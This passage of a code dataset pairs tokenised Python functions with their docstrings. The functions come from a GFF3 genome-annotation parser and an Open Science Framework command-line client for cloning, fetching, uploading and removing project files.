'<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>try:<EOL><INDENT>line_data['<STR_LIT>'][tag]['<STR_LIT:end>'] = int(target_tokens[<NUM_LIT:2>])<EOL>if line_data['<STR_LIT>'][tag]['<STR_LIT:end>'] < <NUM_LIT:1>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % target_tokens[<NUM_LIT:2>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>all_good = False<EOL>line_data['<STR_LIT>'][tag]['<STR_LIT:end>'] = target_tokens[<NUM_LIT:2>]<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % line_data['<STR_LIT>'][tag]['<STR_LIT:end>'], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if all_good and line_data['<STR_LIT>'][tag]['<STR_LIT:start>'] > line_data['<STR_LIT>'][tag]['<STR_LIT:end>']:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>line_data['<STR_LIT>'][tag]['<STR_LIT>'] = target_tokens[<NUM_LIT:3>]<EOL>if line_data['<STR_LIT>'][tag]['<STR_LIT>'] not in valid_attribute_target_strand: <EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % line_data['<STR_LIT>'][tag]['<STR_LIT>'], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if value.find('<STR_LIT:U+002C>') >= <NUM_LIT:0>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (tag, value), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>line_data['<STR_LIT>'][tag] = value<EOL>if tag == '<STR_LIT>' and value != '<STR_LIT:true>':<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % value, '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>elif tag[:<NUM_LIT:1>].isupper() and tag not in reserved_attributes: <EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tag, '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>if value in features and lines[-<NUM_LIT:1>]['<STR_LIT>'][tag] != value:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (value, '<STR_LIT:U+002C>'.join([str(f['<STR_LIT>'] + <NUM_LIT:1>) for f in features[value]])), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'}, log_level=logging.WARNING)<EOL><DEDENT>features[value].append(line_data)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>current_line_num += <NUM_LIT:1><EOL>lines.append(line_data)<EOL><DEDENT>if isinstance(gff_file, str):<EOL><INDENT>gff_fp.close()<EOL><DEDENT>for feature_id in unresolved_parents:<EOL><INDENT>if feature_id in features:<EOL><INDENT>for line in unresolved_parents[feature_id]:<EOL><INDENT>self.add_line_error(line, {'<STR_LIT:message>': '<STR_LIT>' % (feature_id, '<STR_LIT:U+002C>'.join([str(ld['<STR_LIT>'] + <NUM_LIT:1>) for ld in features[feature_id]])), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT><DEDENT>self.lines = lines<EOL>self.features = features<EOL>return <NUM_LIT:1><EOL>", "docstring": "Parse the gff file into the following data structures:\n\n        * lines(list of line_data(dict))\n            - line_index(int): the index in lines\n            - line_raw(str)\n            - line_type(str in ['feature', 'directive', 'comment', 'blank', 'unknown'])\n            - line_errors(list of str): a list of error messages\n            - line_status(str in ['normal', 'modified', 'removed'])\n            - parents(list of feature(list of line_data(dict))): may have multiple parents\n            - children(list of line_data(dict))\n            - extra fields depending on line_type\n            * directive\n                - directive(str in ['##gff-version', '##sequence-region', '##feature-ontology', '##attribute-ontology', '##source-ontology', '##species', '##genome-build', '###', '##FASTA'])\n                - extra fields depending on directive\n            * feature\n                - seqid(str): must escape any characters not in the set [a-zA-Z0-9.:^*$@!+_?-|] using RFC 3986 Percent-Encoding\n                - source(str)\n                - type(str in so_types)\n                - start(int)\n                - end(int)\n                - score(float)\n                - strand(str in ['+', '-', '.', '?'])\n                - phase(int in [0, 1, 2])\n                - attributes(dict of tag(str) to value)\n                    - ID(str)\n                    - Name(str)\n                    - Alias(list of str): multi value\n                    - Parent(list of str): multi value\n                    - Target(dict)\n                        - target_id(str)\n                        - start(int)\n                        - end(int)\n                        - strand(str in ['+', '-', ''])\n                    - Gap(str): CIGAR format\n                    - Derives_from(str)\n                    - Note(list of str): multi value\n                    - Dbxref(list of str): multi value\n                    - Ontology_term(list of str): multi value\n                    - Is_circular(str in ['true'])\n            * fasta_dict(dict of id(str) to sequence_item(dict))\n                - id(str)\n                - header(str)\n                - seq(str)\n                - line_length(int)\n\n        * features(dict of feature_id(str in line_data['attributes']['ID']) to feature(list of line_data(dict)))\n\n        A feature is a list of line_data(dict), since all lines that share an ID collectively represent a single feature.\n\n        During serialization, line_data(dict) references should be converted into line_index(int)\n\n        :param gff_file: a string path or file object\n        :param strict: when true, throw exception on syntax and format errors. when false, use best effort to finish parsing while logging errors", "id": "f5359:c0:m7"}
{"signature": "def descendants(self, line_data):", "body": "<EOL>try:<EOL><INDENT>start = line_data['<STR_LIT>']<EOL><DEDENT>except TypeError:<EOL><INDENT>start = self.lines[line_data]['<STR_LIT>']<EOL><DEDENT>visited_set, visited_list, queue = set(), [], [start]<EOL>while queue:<EOL><INDENT>node = queue.pop(<NUM_LIT:0>)<EOL>if node not in visited_set:<EOL><INDENT>visited_set.add(node)<EOL>visited_list.append(self.lines[node])<EOL>queue.extend([ld['<STR_LIT>'] for ld in self.lines[node]['<STR_LIT>'] if ld['<STR_LIT>'] not in visited_set])<EOL><DEDENT><DEDENT>return visited_list[<NUM_LIT:1>:]<EOL>", "docstring": "BFS graph algorithm\n:param line_data: line_data(dict) with line_data['line_index'] or line_index(int)\n:return: list of line_data(dict)", "id": "f5359:c0:m8"}
{"signature": "def ancestors(self, line_data):", "body": "<EOL>try:<EOL><INDENT>start = line_data['<STR_LIT>']<EOL><DEDENT>except TypeError:<EOL><INDENT>start = self.lines[line_data]['<STR_LIT>']<EOL><DEDENT>visited_set, visited_list, queue = set(), [], [start]<EOL>while queue:<EOL><INDENT>node = queue.pop(<NUM_LIT:0>)<EOL>if node not in visited_set:<EOL><INDENT>visited_set.add(node)<EOL>visited_list.append(self.lines[node])<EOL>queue.extend([ld['<STR_LIT>'] for f in self.lines[node]['<STR_LIT>'] for ld in f if ld['<STR_LIT>'] not in visited_set])<EOL><DEDENT><DEDENT>return visited_list[<NUM_LIT:1>:]<EOL>", "docstring": "BFS graph algorithm\n\n:param line_data: line_data(dict) with line_data['line_index'] or line_index(int)\n:return: list of line_data(dict)", "id": "f5359:c0:m9"}
{"signature": "def adopt(self, old_parent, new_parent):", "body": "try: <EOL><INDENT>old_id = old_parent['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>except TypeError:<EOL><INDENT>try: <EOL><INDENT>old_id = self.lines[old_parent]['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>except TypeError: <EOL><INDENT>old_id = old_parent<EOL><DEDENT><DEDENT>old_feature = self.features[old_id]<EOL>old_indexes = [ld['<STR_LIT>'] for ld in old_feature]<EOL>try: <EOL><INDENT>new_id = new_parent['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>except TypeError:<EOL><INDENT>try: <EOL><INDENT>new_id = self.lines[new_parent]['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>except TypeError: <EOL><INDENT>new_id = new_parent<EOL><DEDENT><DEDENT>new_feature = self.features[new_id]<EOL>new_indexes = [ld['<STR_LIT>'] for ld in new_feature]<EOL>children = old_feature[<NUM_LIT:0>]['<STR_LIT>']<EOL>new_parent_children_set = set([ld['<STR_LIT>'] for ld in new_feature[<NUM_LIT:0>]['<STR_LIT>']])<EOL>for child in children:<EOL><INDENT>if child['<STR_LIT>'] not in new_parent_children_set:<EOL><INDENT>new_parent_children_set.add(child['<STR_LIT>'])<EOL>for new_ld in new_feature:<EOL><INDENT>new_ld['<STR_LIT>'].append(child)<EOL><DEDENT>child['<STR_LIT>'].append(new_feature)<EOL>child['<STR_LIT>']['<STR_LIT>'].append(new_id)<EOL><DEDENT>child['<STR_LIT>'] = [f for f in child['<STR_LIT>'] if f[<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>'] != old_id]<EOL>child['<STR_LIT>']['<STR_LIT>'] = [d for d in child['<STR_LIT>']['<STR_LIT>'] if d != old_id]<EOL><DEDENT>for old_ld in old_feature:<EOL><INDENT>old_ld['<STR_LIT>'] = []<EOL><DEDENT>return children<EOL>", "docstring": "Transfer children from old_parent to new_parent\n\n:param old_parent: feature_id(str) or line_index(int) or line_data(dict) or feature\n:param new_parent: feature_id(str) or line_index(int) or line_data(dict)\n:return: List of children transferred", "id": "f5359:c0:m10"}
{"signature": "def adopted(self, old_child, new_child):", "body": "pass<EOL>", "docstring": "Transfer parents from old_child to new_child\n\n:param old_child: line_data(dict) with line_data['line_index'] or line_index(int)\n:param new_child: line_data(dict) with line_data['line_index'] or line_index(int)\n:return: List of parents transferred", "id": "f5359:c0:m11"}
{"signature": "def remove(self, line_data, root_type=None):", "body": "roots = [ld for ld in self.ancestors(line_data) if (root_type and ld['<STR_LIT>'] == root_type) or (not root_type and not ld['<STR_LIT>'])] or [line_data]<EOL>for root in roots:<EOL><INDENT>root['<STR_LIT>'] = '<STR_LIT>'<EOL>root_descendants = self.descendants(root)<EOL>for root_descendant in root_descendants:<EOL><INDENT>root_descendant['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>root_ancestors = self.ancestors(root) <EOL>for root_ancestor in root_ancestors:<EOL><INDENT>if len([ld for ld in root_ancestor['<STR_LIT>'] if ld['<STR_LIT>'] != '<STR_LIT>']) == <NUM_LIT:0>: <EOL><INDENT>root_ancestor['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Marks line_data and all of its associated feature's 'line_status' as 'removed', does not actually remove the line_data from the data structure.\nThe write function checks the 'line_status' when writing the gff file.\nFind the root parent of line_data of type root_type, remove all of its descendants.\nIf the root parent has a parent with no children after the remove, remove the root parent's parent recursively.\n\n:param line_data:\n:param root_type:\n:return:", "id": "f5359:c0:m13"}
{"signature": "def sequence(self, line_data, child_type=None, reference=None):", "body": "<EOL>reference = reference or self.fasta_external or self.fasta_embedded<EOL>if not reference:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>line_index = line_data['<STR_LIT>']<EOL><DEDENT>except TypeError:<EOL><INDENT>line_index = self.lines[line_data]['<STR_LIT>']<EOL><DEDENT>ld = self.lines[line_index]<EOL>if ld['<STR_LIT:type>'] != '<STR_LIT>':<EOL><INDENT>return None<EOL><DEDENT>seq = reference[ld['<STR_LIT>']][ld['<STR_LIT:start>']-<NUM_LIT:1>:ld['<STR_LIT:end>']]<EOL>if ld['<STR_LIT>'] == '<STR_LIT:->':<EOL><INDENT>seq = complement(seq[::-<NUM_LIT:1>])<EOL><DEDENT>return seq<EOL>", "docstring": "Get the sequence of line_data, according to the columns 'seqid', 'start', 'end', 'strand'.\nRequires fasta reference.\nWhen used on 'mRNA' type line_data, child_type can be used to specify which kind of sequence to return:\n* child_type=None:  pre-mRNA, returns the sequence of line_data from start to end, reverse complement according to strand. (default)\n* child_type='exon':  mature mRNA, concatenates the sequences of children type 'exon'.\n* child_type='CDS':  coding sequence, concatenates the sequences of children type 'CDS'. Use the helper\n                     function translate(seq) on the returned value to obtain the protein sequence.\n\n:param line_data: line_data(dict) with line_data['line_index'] or line_index(int)\n:param child_type: None or feature type(string)\n:param reference: If None, will use self.fasta_external or self.fasta_embedded(dict)\n:return: sequence(string)", "id": "f5359:c0:m16"}
{"signature": "def might_need_auth(f):", "body": "@wraps(f)<EOL>def wrapper(cli_args):<EOL><INDENT>try:<EOL><INDENT>return_value = f(cli_args)<EOL><DEDENT>except UnauthorizedException as e:<EOL><INDENT>config = config_from_env(config_from_file())<EOL>username = _get_username(cli_args, config)<EOL>if username is None:<EOL><INDENT>sys.exit(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>sys.exit(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return return_value<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorate a CLI function that might require authentication.\n\n    Catches any UnauthorizedException raised, prints a helpful message and\n    then exits.", "id": "f5378:m4"}
{"signature": "def init(args):", "body": "<EOL>config = config_from_file()<EOL>config_ = configparser.ConfigParser()<EOL>config_.add_section('<STR_LIT>')<EOL>if '<STR_LIT:username>' not in config.keys():<EOL><INDENT>config_.set('<STR_LIT>', '<STR_LIT:username>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>config_.set('<STR_LIT>', '<STR_LIT:username>', config['<STR_LIT:username>'])<EOL><DEDENT>if '<STR_LIT>' not in config.keys():<EOL><INDENT>config_.set('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>config_.set('<STR_LIT>', '<STR_LIT>', config['<STR_LIT>'])<EOL><DEDENT>print('<STR_LIT>'.format(<EOL>config_.get('<STR_LIT>', '<STR_LIT:username>')))<EOL>username = input()<EOL>if username:<EOL><INDENT>config_.set('<STR_LIT>', '<STR_LIT:username>', username)<EOL><DEDENT>print('<STR_LIT>'.format(<EOL>config_.get('<STR_LIT>', '<STR_LIT>')))<EOL>project = input()<EOL>if project:<EOL><INDENT>config_.set('<STR_LIT>', '<STR_LIT>', project)<EOL><DEDENT>cfgfile = open(\"<STR_LIT>\", \"<STR_LIT:w>\")<EOL>config_.write(cfgfile)<EOL>cfgfile.close()<EOL>", "docstring": "Initialize or edit an existing .osfcli.config file.", "id": "f5378:m5"}
{"signature": "@might_need_auth<EOL>def clone(args):", "body": "osf = _setup_osf(args)<EOL>project = osf.project(args.project)<EOL>output_dir = args.project<EOL>if args.output is not None:<EOL><INDENT>output_dir = args.output<EOL><DEDENT>with tqdm(unit='<STR_LIT>') as pbar:<EOL><INDENT>for store in project.storages:<EOL><INDENT>prefix = os.path.join(output_dir, store.name)<EOL>for file_ in store.files:<EOL><INDENT>path = file_.path<EOL>if path.startswith('<STR_LIT:/>'):<EOL><INDENT>path = path[<NUM_LIT:1>:]<EOL><DEDENT>path = os.path.join(prefix, path)<EOL>if os.path.exists(path) and args.update:<EOL><INDENT>if checksum(path) == file_.hashes.get('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>directory, _ = os.path.split(path)<EOL>makedirs(directory, exist_ok=True)<EOL>with open(path, \"<STR_LIT:wb>\") as f:<EOL><INDENT>file_.write_to(f)<EOL><DEDENT>pbar.update()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Copy all files from all storages of a project.\n\n    The output directory defaults to the current directory.\n\n    If the project is private you need to specify a username.\n\n    If args.update is True, overwrite any existing local files only if local and\n    remote files differ.", "id": "f5378:m6"}
{"signature": "@might_need_auth<EOL>def fetch(args):", "body": "storage, remote_path = split_storage(args.remote)<EOL>local_path = args.local<EOL>if local_path is None:<EOL><INDENT>_, local_path = os.path.split(remote_path)<EOL><DEDENT>local_path_exists = os.path.exists(local_path)<EOL>if local_path_exists and not args.force and not args.update:<EOL><INDENT>sys.exit(\"<STR_LIT>\" % local_path)<EOL><DEDENT>directory, _ = os.path.split(local_path)<EOL>if directory:<EOL><INDENT>makedirs(directory, exist_ok=True)<EOL><DEDENT>osf = _setup_osf(args)<EOL>project = osf.project(args.project)<EOL>store = project.storage(storage)<EOL>for file_ in store.files:<EOL><INDENT>if norm_remote_path(file_.path) == remote_path:<EOL><INDENT>if local_path_exists and not args.force and args.update:<EOL><INDENT>if file_.hashes.get('<STR_LIT>') == checksum(local_path):<EOL><INDENT>print(\"<STR_LIT>\" % local_path)<EOL>break<EOL><DEDENT><DEDENT>with open(local_path, '<STR_LIT:wb>') as fp:<EOL><INDENT>file_.write_to(fp)<EOL><DEDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Fetch an individual file from a project.\n\n    The first part of the remote path is interpreted as the name of the\n    storage provider. If there is no match the default (osfstorage) is\n    used.\n\n    The local path defaults to the name of the remote file.\n\n    If the project is private you need to specify a username.\n\n    If args.force is True, write local file even if that file already exists.\n    If args.force is False but args.update is True, overwrite an existing local\n    file only if local and remote files differ.", "id": "f5378:m7"}
{"signature": "@might_need_auth<EOL>def list_(args):", "body": "osf = _setup_osf(args)<EOL>project = osf.project(args.project)<EOL>for store in project.storages:<EOL><INDENT>prefix = store.name<EOL>for file_ in store.files:<EOL><INDENT>path = file_.path<EOL>if path.startswith('<STR_LIT:/>'):<EOL><INDENT>path = path[<NUM_LIT:1>:]<EOL><DEDENT>print(os.path.join(prefix, path))<EOL><DEDENT><DEDENT>", "docstring": "List all files from all storages for project.\n\n    If the project is private you need to specify a username.", "id": "f5378:m8"}
{"signature": "@might_need_auth<EOL>def upload(args):", "body": "osf = _setup_osf(args)<EOL>if osf.username is None or osf.password is None:<EOL><INDENT>sys.exit('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>project = osf.project(args.project)<EOL>storage, remote_path = split_storage(args.destination)<EOL>store = project.storage(storage)<EOL>if args.recursive:<EOL><INDENT>if not os.path.isdir(args.source):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(args.source))<EOL><DEDENT>_, dir_name = os.path.split(args.source)<EOL>for root, _, files in os.walk(args.source):<EOL><INDENT>subdir_path = os.path.relpath(root, args.source)<EOL>for fname in files:<EOL><INDENT>local_path = os.path.join(root, fname)<EOL>with open(local_path, '<STR_LIT:rb>') as fp:<EOL><INDENT>name = os.path.join(remote_path, dir_name, subdir_path,<EOL>fname)<EOL>store.create_file(name, fp, force=args.force,<EOL>update=args.update)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>with open(args.source, '<STR_LIT:rb>') as fp:<EOL><INDENT>store.create_file(remote_path, fp, force=args.force,<EOL>update=args.update)<EOL><DEDENT><DEDENT>", "docstring": "Upload a new file to an existing project.\n\n    The first part of the remote path is interpreted as the name of the\n    storage provider. If there is no match the default (osfstorage) is\n    used.\n\n    If the project is private you need to specify a username.\n\n    To upload a whole directory (and all its sub-directories) use the `-r`\n    command-line option. If your source directory name ends in a / then\n    files will be created directly in the remote directory. If it does not\n    end in a slash an extra sub-directory with the name of the local directory\n    will be created.\n\n    To place contents of local directory `foo` in remote directory `bar/foo`:\n    $ osf upload -r foo bar\n    To place contents of local directory `foo` in remote directory `bar`:\n    $ osf upload -r foo/ bar", "id": "f5378:m9"}
{"signature": "@might_need_auth<EOL>def remove(args):", "body": "osf = _setup_osf(args)<EOL>if osf.username is None or osf.password is None:<EOL><INDENT>sys.exit('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>project = osf.project(args.project)<EOL>storage, remote_path = split_storage(args.target)<EOL>store = project.storage(storage)<EOL>for f in store.files:<EOL><INDENT>if norm_remote_path(f.path) == remote_path:<EOL><INDENT>f.remove()<EOL><DEDENT><DEDENT>", "docstring": "Remove a file from the project's storage.\n\n    The first part of the remote path is interpreted as the name of the\n    storage provider. If there is no match the default (osfstorage) is\n    used.", "id": "f5378:m10"}
{"signature": "@property<EOL><INDENT>def files(self):<DEDENT>", "body": "return self._iter_children(self._files_url, '<STR_LIT:file>', File,<EOL>self._files_key)<EOL>", "docstring": "Iterate over all files in this storage.\n\n        Recursively lists all files in all subfolders.", "id": "f5379:c0:m2"}
{"signature": "def create_file(self, path, fp, force=False, update=False):", "body": "if '<STR_LIT:b>' not in fp.mode:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>path = norm_remote_path(path)<EOL>directory, fname = os.path.split(path)<EOL>directories = directory.split(os.path.sep)<EOL>parent = self<EOL>for directory in directories:<EOL><INDENT>if directory:<EOL><INDENT>parent = parent.create_folder(directory, exist_ok=True)<EOL><DEDENT><DEDENT>url = parent._new_file_url<EOL>connection_error = False<EOL>if file_empty(fp):<EOL><INDENT>response = self._put(url, params={'<STR_LIT:name>': fname}, data=b'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>response = self._put(url, params={'<STR_LIT:name>': fname}, data=fp)<EOL><DEDENT>except ConnectionError:<EOL><INDENT>connection_error = True<EOL><DEDENT><DEDENT>if connection_error or response.status_code == <NUM_LIT>:<EOL><INDENT>if not force and not update:<EOL><INDENT>file_size_bytes = get_local_file_size(fp)<EOL>large_file_cutoff = <NUM_LIT:2>**<NUM_LIT:20> <EOL>if connection_error and file_size_bytes < large_file_cutoff:<EOL><INDENT>msg = (<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\"<EOL>).format(path)<EOL>raise RuntimeError(msg)<EOL><DEDENT>else:<EOL><INDENT>raise FileExistsError(path)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for file_ in self.files:<EOL><INDENT>if norm_remote_path(file_.path) == path:<EOL><INDENT>if not force:<EOL><INDENT>if checksum(path) == file_.hashes.get('<STR_LIT>'):<EOL><INDENT>break<EOL><DEDENT><DEDENT>fp.seek(<NUM_LIT:0>)<EOL>file_.update(fp)<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(path))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Store a new file at `path` in this storage.\n\n        The contents of the file descriptor `fp` (opened in 'rb' mode)\n        will be uploaded to `path` which is the full path at\n        which to store the file.\n\n        To force overwrite of an existing file, set `force=True`.\n        To overwrite an existing file only if the files differ, set `update=True`", "id": "f5379:c0:m3"}
{"signature": "def copyfileobj(fsrc, fdst, total, length=<NUM_LIT:16>*<NUM_LIT>):", "body": "with tqdm(unit='<STR_LIT>', total=total, unit_scale=True) as pbar:<EOL><INDENT>while <NUM_LIT:1>:<EOL><INDENT>buf = fsrc.read(length)<EOL>if not buf:<EOL><INDENT>break<EOL><DEDENT>fdst.write(buf)<EOL>pbar.update(len(buf))<EOL><DEDENT><DEDENT>", "docstring": "Copy data from file-like object fsrc to file-like object fdst\n\n    This is like shutil.copyfileobj but with a progressbar.", "id": "f5381:m0"}
{"signature": "def write_to(self, fp):", "body": "if '<STR_LIT:b>' not in fp.mode:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>response = self._get(self._download_url, stream=True)<EOL>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>response.raw.decode_content = True<EOL>copyfileobj(response.raw, fp,<EOL>int(response.headers['<STR_LIT>']))<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(response.status_code))<EOL><DEDENT>", "docstring": "Write contents of this file to a local file.\n\n        Pass in a filepointer `fp` that has been opened for writing in\n        binary mode.", "id": "f5381:c0:m2"}
{"signature": "def remove(self):", "body": "response = self._delete(self._delete_url)<EOL>if response.status_code != <NUM_LIT>:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(self.path))<EOL><DEDENT>", "docstring": "Remove this file from the remote storage.", "id": "f5381:c0:m3"}
{"signature": "def update(self, fp):", "body": "if '<STR_LIT:b>' not in fp.mode:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>url = self._upload_url<EOL>if fp.peek(<NUM_LIT:1>):<EOL><INDENT>response = self._put(url, data=fp)<EOL><DEDENT>else:<EOL><INDENT>response = self._put(url, data=b'<STR_LIT>')<EOL><DEDENT>if response.status_code != <NUM_LIT:200>:<EOL><INDENT>msg = ('<STR_LIT>'<EOL>'<STR_LIT>'.format(self.path, response.status_code))<EOL>raise RuntimeError(msg)<EOL><DEDENT>", "docstring": "Update the remote file from a local file.\n\n        Pass in a filepointer `fp` that has been opened for writing in\n        binary mode.", "id": "f5381:c0:m4"}
{"signature": "def _iter_children(self, url, kind, klass, recurse=None):", "body": "children = self._follow_next(url)<EOL>while children:<EOL><INDENT>child = children.pop()<EOL>kind_ = child['<STR_LIT>']['<STR_LIT>']<EOL>if kind_ == kind:<EOL><INDENT>yield klass(child, self.session)<EOL><DEDENT>elif recurse is not None:<EOL><INDENT>url = self._get_attribute(child, *recurse)<EOL>children.extend(self._follow_next(url))<EOL><DEDENT><DEDENT>", "docstring": "Iterate over all children of `kind`\n\n        Yield an instance of `klass` when a child is of type `kind`. Uses\n        `recurse` as the path of attributes in the JSON returned from `url`\n        to find more children.", "id": "f5381:c1:m0"}
{"signature": "@property<EOL><INDENT>def files(self):<DEDENT>", "body": "return self._iter_children(self._files_url, '<STR_LIT:file>', File)<EOL>", "docstring": "Iterate over all files in this folder.\n\n        Unlike a `Storage` instance this does not recursively find all files.\n        Only lists files in this folder.", "id": "f5381:c1:m1"}
{"signature": "@property<EOL><INDENT>def folders(self):<DEDENT>", "body": "return self._iter_children(self._files_url, '<STR_LIT>', Folder)<EOL>", "docstring": "Iterate over top-level folders in this folder.", "id": "f5381:c1:m2"}
{"signature": "def _json(self, response, status_code):", "body": "if isinstance(status_code, numbers.Integral):<EOL><INDENT>status_code = (status_code,)<EOL><DEDENT>if response.status_code in status_code:<EOL><INDENT>return response.json()<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(response.status_code,<EOL>status_code))<EOL><DEDENT>", "docstring": "Extract JSON from response if `status_code` matches.", "id": "f5382:c0:m7"}
{"signature": "def _follow_next(self, url):", "body": "response = self._json(self._get(url), <NUM_LIT:200>)<EOL>data = response['<STR_LIT:data>']<EOL>next_url = self._get_attribute(response, '<STR_LIT>', '<STR_LIT>')<EOL>while next_url is not None:<EOL><INDENT>response = self._json(self._get(next_url), <NUM_LIT:200>)<EOL>data.extend(response['<STR_LIT:data>'])<EOL>next_url = self._get_attribute(response, '<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>return data<EOL>", "docstring": "Follow the 'next' link on paginated results.", "id": "f5382:c0:m8"}
{"signature": "def storage(self, provider='<STR_LIT>'):", "body": "stores = self._json(self._get(self._storages_url), <NUM_LIT:200>)<EOL>stores = stores['<STR_LIT:data>']<EOL>for store in stores:<EOL><INDENT>provides = self._get_attribute(store, '<STR_LIT>', '<STR_LIT>')<EOL>if provides == provider:<EOL><INDENT>return Storage(store, self.session)<EOL><DEDENT><DEDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(provider))<EOL>", "docstring": "Return storage `provider`.", "id": "f5383:c0:m2"}
{"signature": "@property<EOL><INDENT>def storages(self):<DEDENT>", "body": "stores = self._json(self._get(self._storages_url), <NUM_LIT:200>)<EOL>stores = stores['<STR_LIT:data>']<EOL>for store in stores:<EOL><INDENT>yield Storage(store, self.session)<EOL><DEDENT>", "docstring": "Iterate over all storages for this projects.", "id": "f5383:c0:m3"}
{"signature": "def __init__(self):", "body": "super(OSFSession, self).__init__()<EOL>self.headers.update({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT:utf-8>',<EOL>'<STR_LIT:Content-Type>': \"<STR_LIT:application/json>\",<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>})<EOL>self.base_url = '<STR_LIT>'<EOL>", "docstring": "Handle HTTP session related work.", "id": "f5384:c0:m0"}
{"signature": "def norm_remote_path(path):", "body": "path = os.path.normpath(path)<EOL>if path.startswith(os.path.sep):<EOL><INDENT>return path[<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>return path<EOL><DEDENT>", "docstring": "Normalize `path`.\n\n    All remote paths are absolute.", "id": "f5388:m0"}
{"signature": "def split_storage(path, default='<STR_LIT>'):", "body": "path = norm_remote_path(path)<EOL>for provider in KNOWN_PROVIDERS:<EOL><INDENT>if path.startswith(provider + '<STR_LIT:/>'):<EOL><INDENT>if six.PY3:<EOL><INDENT>return path.split('<STR_LIT:/>', maxsplit=<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>return path.split('<STR_LIT:/>', <NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>return (default, path)<EOL>", "docstring": "Extract storage name from file path.\n\n    If a path begins with a known storage provider the name is removed\n    from the path. Otherwise the `default` storage provider is returned\n    and the path is not modified.", "id": "f5388:m1"}
{"signature": "def file_empty(fp):", "body": "<EOL>if six.PY2:<EOL><INDENT>contents = fp.read()<EOL>fp.seek(<NUM_LIT:0>)<EOL>return not bool(contents)<EOL><DEDENT>else:<EOL><INDENT>return not fp.peek()<EOL><DEDENT>", "docstring": "Determine if a file is empty or not.", "id": "f5388:m3"}
